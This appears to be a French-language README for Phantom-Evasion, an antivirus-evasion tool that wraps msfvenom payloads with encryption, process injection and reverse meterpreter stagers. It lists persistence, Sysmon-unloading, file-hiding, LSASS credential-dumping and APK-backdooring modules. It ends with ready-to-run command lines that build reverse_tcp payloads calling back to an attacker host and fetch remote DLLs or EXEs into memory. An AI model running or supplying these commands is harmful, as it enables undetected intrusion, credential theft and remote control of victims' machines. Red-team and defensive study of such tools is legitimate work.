
Outil d'évasion antivirus basé sur Python générant des exécutables indétectables à partir de charges utiles msfvenom avec des techniques avancées comme l'injection de code factice, le chiffrement, l'usurpation de certificats et plusieurs méthodes d'exécution.
Phantom-Evasion est un outil de contournement d'antivirus écrit en Python (compatible avec Python et Python3) capable de générer un exécutable (presque) totalement indétectable, même avec les charges utiles msfvenom x86 les plus courantes.
Les systèmes d'exploitation suivants prennent officiellement en charge l'installation automatique :
Les systèmes d'exploitation suivants prennent probablement en charge l'installation automatique mais nécessitent l'installation manuelle de metasploit-framework :
Les systèmes d'exploitation suivants nécessitent une installation manuelle :
Il suffit de cloner ou de télécharger et de décompresser le dossier Phantom-Evasion.
Installation automatique, ouvrez un terminal et exécutez :
python3 phantom-evasion.py --setup
ou :
chmod +x ./phantom-evasion.py
./phantom-evasion.py --setup
ou démarrez phantom-evasion en mode interactif et sélectionnez l'option 7.
python3 phantom-evasion.py
ou :
./phantom-evasion.py
python3 phantom-evasion.py --help
ou :
./phantom-evasion.py --help
Les charges utiles msfvenom Windows et les shellcodes personnalisés sont pris en charge. Le shellcode peut être stocké en tant que ressource et récupéré lors de l'exécution avec l'API FindResource.
Chiffrement du shellcode pris en charge :
1. aucun
2. Multibyte-Xor
3. Multibyte-Xor à double clé
4. Vigenere
5. Vigenere à double clé
La méthode d'exécution locale peut être l'une des suivantes :
Thread
APC
Le mode d'allocation mémoire locale peut être l'un des suivants :
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
La méthode d'exécution distante peut être l'une des suivantes :
ThreadExecutionHijack (abrégé en TEH)
Processinject (abrégé en PI)
APCSpray (abrégé en APCS)
EarlyBird (abrégé en EB)
EntryPointHijack (abrégé en EPH)
Le mode d'allocation mémoire distante peut être l'un des suivants :
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Modules stager meterpreter pur C (TCP/HTTP/HTTPS) compatibles avec msfconsole et cobalt strike beacon. (reverse_tcp/reverse_http/reverse_https)
En utilisant le mode ligne de commande :
reverse_tcp c stager est WRT
reverse_http c stager est WRH
reverse_https c stager est WRS
La méthode d'exécution locale peut être l'une des suivantes :
Thread
APC
Le mode d'allocation mémoire locale peut être l'un des suivants :
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
Télécharge un exe/dll depuis l'URL fournie en mémoire et exécute/charge dans un processus distant (sans écrire sur le disque).
Téléchargement d'EXE/DLL chiffré pris en charge :
1. aucun
2. Multibyte-Xor
3. Multibyte-Xor à double clé
4. Vigenere
5. Vigenere à double clé
La DLL/EXE chiffré sera enregistré sous originalfilename + "crypt" + ".dll" ou ".exe" ; c'est celui-ci qui doit être téléchargé.
Windows DownloadExecExe NoDiskWrite (WDE en mode ligne de commande) :
La méthode d'exécution distante peut être l'une des suivantes :
ProcessHollowing (abrégé en PH)
Windows DownloadExecDll NoDiskWrite (WDD en mode ligne de commande) :
La méthode de chargement distant peut être l'une des suivantes :
ReflectiveDll (abrégé en RD)
RDAPC (ReflectiveDllAPC)
ManualMap (abrégé en MM) ---> uniquement x86
Les charges utiles msfvenom Linux et les shellcodes personnalisés sont pris en charge.
Android Msfvenom Obfuscate Backdoor :
Obfusquer les charges utiles msfvenom et reconstruire (smali/baksmali) avec apktool. La charge utile obfusquée peut être utilisée pour backdoor des fichiers apk bénins.
Windows Persistence RegCreateKeyExW Ajouter une clé de registre (C) L'exécutable compilé doit être téléchargé sur la machine cible et exécuté en spécifiant le chemin complet du fichier à ajouter au démarrage en argument.
Windows Persistence REG Ajouter une clé de registre (CMD) Ce module génère des charges utiles en ligne de commande de persistance (Ajouter une clé de registre via REG.exe).
Windows Persistence Keep Process Alive (C) L'exécutable compilé doit être téléchargé sur la machine cible et exécuté. Utilise CreateToolSnapshoot, ProcessFirst et ProcessNext pour vérifier toutes les X secondes si le processus spécifié est actif (sinon, crée un nouveau processus en utilisant l'API WinExec).
Windows Persistence Schtasks (CMD) Ce module génère des charges utiles en ligne de commande de persistance (en utilisant Schtasks.exe).
Windows Persistence Create Service (CMD) Ce module génère des charges utiles en ligne de commande de persistance (en utilisant sc.exe).
Windows Unload Sysmon (C) Décharge le pilote sysmon, ce qui arrête l'enregistrement des journaux d'événements sysmon. L'exécutable compilé doit être téléchargé sur la machine cible et exécuté.
Windows Unload Sysmon (CMD) Décharge le pilote sysmon, ce qui arrête l'enregistrement des journaux d'événements sysmon.
Windows Attrib hide file (CMD) Utilise attrib pour masquer un fichier.
Windows SetFileAttribute hidden (C) Masque un fichier en utilisant l'API SetFileAttribute. L'exécutable compilé doit être téléchargé sur la machine cible et exécuté.
Windows DumpLsass (C) Vide Lsass en utilisant l'API MiniWriteDumpWrite. L'exécutable compilé doit être téléchargé sur la machine cible et exécuté.
Windows DumpLsass (CMD) Vide Lsass depuis la ligne de commande.
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll
python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll
python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000 -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe
python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000 -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll
GPLv3.0
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/rsmudge/metasploit-loader
https://github.com/theevilbit/injection
http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/
https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf